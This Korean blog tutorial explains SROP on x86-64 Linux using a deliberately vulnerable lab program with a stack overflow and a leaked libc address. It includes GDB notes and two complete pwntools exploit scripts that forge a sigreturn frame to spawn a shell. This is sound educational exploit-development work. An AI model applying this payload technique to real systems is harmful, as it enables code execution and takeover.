SROP x64
System/System Hacking

SROP x64

728x90

Example

//gcc -g -o sig64 sig.c
#include <stdio.h>
#include <signal.h>
 
struct sigcontext sigcontext;
 
void handle_signal(int signum){
    printf("Signal number: %d\n", signum);
}
 
int main(){
    signal(SIGINT, (void *)handle_signal);
    while(1) {}
    return 0;
}

debugging

- handle_signal()함수에 break point 설정

- handle SIGINT nostop pass: GDB가 interrupt에 반응하지 않도록 설정

- 실행 후 Ctrl+C 눌러 Interrupt 발생시킴

- bt: handle_signal 함수가 호출되기 전에 실행된 함수 목록 확인

frame 0

- frame 0: 0번째 frame에서 stack에 저장된 각 레지스터의 값 확인

  ($1 = 0x0)

  ($2 = 0x7FFF FFFF DE20)

  ($3 = 0x40 059B)

frame 1

- frame 1: __restore_rt() 함수에서 rt_sigreturn() 시스템 함수 호출

**x64에서 sigreturn 시스템 함수의 번호는 0xf(15)**

- b 13: while(1){ } 위치(라인 13)에 breakpoint 설정

- signal에 대한 처리가 끝난 후, frame 0의 스택에 저장된 값이 레지스터에 저장


Proof of Concept

//gcc -fno-stack-protector -o srop64 srop64.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
  
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 512);
}
  
void main(){
    seteuid(getuid());
    write(1,"Hello SROP\n",10);
    vuln();
}

overflow

- break point 설정: vuln 시작 부분, read함수 호출 전

- rsp: 0x7fffffffde18 -> 9x4007d0 (main+46): nop

- rip: buf의 시작 주소 = 0x7fffffffddd0 

- Return Address (0x7fffffffde18) - buf변수의 시작 주소 (0x7fffffffddd0) = 72 bytes

   72개 이상의 문자를 입력함으로써 return address 영역을 덮어 쓸 수 있다

 

Exploit Method

 

1. sigreturn()함수를 이용해 레지스터에 필요한 값 저장

   - RSP: sigreturn()함수 호출 후 이동할 주소 ("int 0x80" 명령어가 저장된 주소)

   - RDI: "/bin/sh" 문자열이 저장된 주소

   - RAX: execve() 함수의 시스템 콜 번호

   - RIP: "int 0x80" 명령어가 저장된 주소

   - CC: User Code (0x33)

   - SS: User Data / Stack (0x2b)

2. int 0x80 명령어 실행

//ROP code
sigreturn()
int 0x80

 

확인할 정보

- libc offset : printf, "pop rax ; ret", "syscall", "/bin/sh"

- gadgets: int 0x80

 

libc offset

vmmap

- libc base = 0x7ffff7809000

- libc offset = printf - libcbase = 0x55810

- "/bin/sh" offset = "/bin/sh" - libcbase = 0x18ce17

 

gadgets

rp++ 사용

"pop rax ; ret"

- "pop rax ; ret": 0x3a737

"syscall ; ret"

- "syscall ; ret": 0xbc3f5

 

 

리눅스 커널 3.3 이하 버전 일 경우, vsycall영역에서 "syscall ret" 명령어 찾을 수 있음

 

CS(Code Segment) & SS(Stack Segment)

Exploit Code

from pwn import *
  
binary = ELF('./srop64')
p = process(binary.path)
 
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
 
libcBase = stackAddr - 0x55810
syscall = libcBase + 0xbc3f5
binsh = libcBase + 0x18ce17
poprax = libcBase + 0x3a737
   
print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of poprax gadget    : ' + hex(poprax)
  
exploit = ''
exploit += "\x90" * 72
exploit += p64(poprax)
exploit += p64(0xf)
exploit += p64(syscall)
 
#ucontext
exploit += p64(0x0) * 5
 
#sigcontext
exploit += p64(0x0)     #R8
exploit += p64(0x0)     #R9
exploit += p64(0x0)     #R10
exploit += p64(0x0)     #R11
exploit += p64(0x0)     #R12
exploit += p64(0x0)     #R13
exploit += p64(0x0)     #R14
exploit += p64(0x0)     #R15
 
exploit += p64(binsh)   #RDI
exploit += p64(0x0)     #RSI
exploit += p64(0x0)     #RBP
exploit += p64(0x0)     #RBX
exploit += p64(0x0)     #RDX
exploit += p64(0x3b)    #RAX
exploit += p64(0x0)     #RCX
exploit += p64(syscall) #RSP
exploit += p64(syscall) #RIP
exploit += p64(0x0)     #eflags
exploit += p64(0x33)    #cs
exploit += p64(0x0)     #gs
exploit += p64(0x0)     #fs
exploit += p64(0x2b)    #ss
 
p.send(exploit)
p.interactive()

 

pwntool을 사용한 exploit code

from pwn import *
 
context.arch = "amd64"
 
binary = ELF('./srop64')
p = process(binary.path)
 
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
 
libcBase = stackAddr - 0x55810
syscall = libcBase + 0xbc3f5
binsh = libcBase + 0x18ce17
poprax = libcBase + 0x3a737
 
print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of poprax gadget    : ' + hex(poprax)
  
exploit = ''
exploit += "\x90" * 72
exploit += p64(poprax)
exploit += p64(0xf)
exploit += p64(syscall)
  
frame = SigreturnFrame(arch="amd64")
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsp = syscall
frame.rip = syscall
  
exploit += str(frame)
  
p.send(exploit)
p.interactive()

 

 

 

 

 

 

 

SMALL

'System > System Hacking' 카테고리의 다른 글

Return to csu (ft. Return-to-vuln, Just-In-Time Code Reuse)  (0) 2020.08.15
Return to csu (ft. JIT ROP)  (0) 2020.08.14
SROP x86  (0) 2020.07.23
SROP  (0) 2020.07.23
64bit ROP  (0) 2020.06.14